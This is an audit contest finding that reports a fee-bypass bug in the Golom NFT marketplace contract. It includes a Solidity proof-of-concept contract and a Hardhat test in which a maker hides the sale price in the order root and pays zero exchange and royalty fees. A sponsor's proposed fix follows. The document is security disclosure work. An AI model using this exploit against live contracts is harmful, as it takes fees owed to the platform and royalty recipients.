Platform: Code4rena
Start Date: 26/07/2022
Pot Size: $75,000 USDC
Total HM: 29
Participants: 179
Period: 6 days
Judge: LSDan
Total Solo HM: 6
Id: 148
League: ETH
Rank: 2/179
Findings: 1
Award: $9,423.59
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: kankodu
9423.592 USDC - $9,423.59
https://github.com/code-423n4/2022-07-golom/blob/main/contracts/core/GolomTrader.sol#L203-L271
AvoidsFeesContract
a reservedAddress and hides the info about how much they want their NFT in order.root, they can avoid paying fees while trading trustlessly and using the nework effects of golom maketplace with 0 o.totalAmt. see POC to get a better idea.yarn
AvoidsFeesContract.sol
contract in contracts/test/
folder with following code//contract that avoids paying fees everytime pragma solidity 0.8.11; import "../core/GolomTrader.sol"; //A maker will be gurranteed a payout if it makes this contract the reservedAddress and hide the payment info about how much they want in Oder.root //Users will use this every time to trade to avoid paying fees //They use the networking effects of the golom marketplace without paying the fees contract AvoidsFeesContract { GolomTrader public immutable golomTrader; constructor(GolomTrader _golomTrader) { golomTrader = _golomTrader; } function fillAsk( GolomTrader.Order calldata o, uint256 amount, address referrer, GolomTrader.Payment calldata p, address receiver ) public payable { require( o.reservedAddress == address(this), "not allowed if signer has not reserved this contract" ); //the signer will only allow this contract to execute the trade and since it has following checks, they will be guranteed a payout they want without paying the fees require( p.paymentAddress == o.signer, "signer needs to be the payment address" ); //I am using root as an example because it is much cleaner for a POC. //but since golom does not have an API where user can submit a signature without using the frontend, they will use something like deadline to hide the amount they want to get paid. //Reason they would use deadline is because that is something they can control in the golom NFT frontend //They can pack the information about deadline and amount they want to get paid, in one uint256 as a deadline and then the check below would look a little different require( p.paymentAmt == uint256(o.root), "you need to pay what signer wants" ); //the maker will hide the payment info in oder.root golomTrader.fillAsk{value: msg.value}( o, amount, referrer, p, receiver = msg.sender ); } }
test/GolomTrader.specs.ts
here.const AvoidsFeesContractArtifacts = ethers.getContractFactory('AvoidsFeesContract');
after this line and import { AvoidsFeesContract as AvoidsFeesContractTypes } from '../typechain/AvoidsFeesContract';
after this line.npx hardhat compile && npx hardhat test
it.only('should allow malicious contract to execute the trade while bypassing the fees', async () => { //deploy the malicious contract const avoidsFeesContract: AvoidsFeesContractTypes = (await (await AvoidsFeesContractArtifacts).deploy(golomTrader.address)) as AvoidsFeesContractTypes; //here the frontend calculates exchangeAmount and prePaymentAmt as a percentage of how much the make wants to receive for their NFT. //as far as the frontend is concerned, the maker inputs 0 for their NFT value which in turn makes the exchangeAmount and prePaymentAmt 0 let exchangeAmount = ethers.utils.parseEther('0'); // nothing to the exchange let prePaymentAmt = ethers.utils.parseEther('0'); // no royalty cut let totalAmt = ethers.utils.parseEther('0'); let tokenId = await testErc721.current(); let nftValueThatMakerWants = ethers.utils.parseEther('10.25'); const order = { collection: testErc721.address, tokenId: tokenId, signer: await maker.getAddress(), orderType: 0, totalAmt: totalAmt, exchange: { paymentAmt: exchangeAmount, paymentAddress: await exchange.getAddress() }, prePayment: { paymentAmt: prePaymentAmt, paymentAddress: await prepay.getAddress() }, isERC721: true, tokenAmt: 1, refererrAmt: 0, root: ethers.utils.hexZeroPad(nftValueThatMakerWants.toHexString(), 32), //convert Bignumber to bytes32 reservedAddress: avoidsFeesContract.address, nonce: 0, deadline: Date.now() + 100000, r: '', s: '', v: 0, }; let signature = (await maker._signTypedData(domain, types, order)).substring(2); //a valid signature as far as your frontend goes order.r = '0x' + signature.substring(0, 64); order.s = '0x' + signature.substring(64, 128); order.v = parseInt(signature.substring(128, 130), 16); let makerBalanceBefore = await ethers.provider.getBalance(await maker.getAddress()); await avoidsFeesContract.connect(taker).fillAsk( order, 1, '0x0000000000000000000000000000000000000000', { paymentAmt: nftValueThatMakerWants, paymentAddress: order.signer, }, receiver, { value: nftValueThatMakerWants, } ); let makerBalanceAfter = await ethers.provider.getBalance(await maker.getAddress()); expect(await testErc721.balanceOf(await taker.getAddress())).to.be.equals('1'); expect(makerBalanceAfter.sub(makerBalanceBefore)).to.be.equals(nftValueThatMakerWants);//maker is guaranteed a payout });
#0 - 0xsaruman
2022-08-13T20:14:24Z
circumvented by putting this line in the code
require(o.totalAmt * amount * 15/100 >= p.paymentAmt, 'can only pay 15% extra');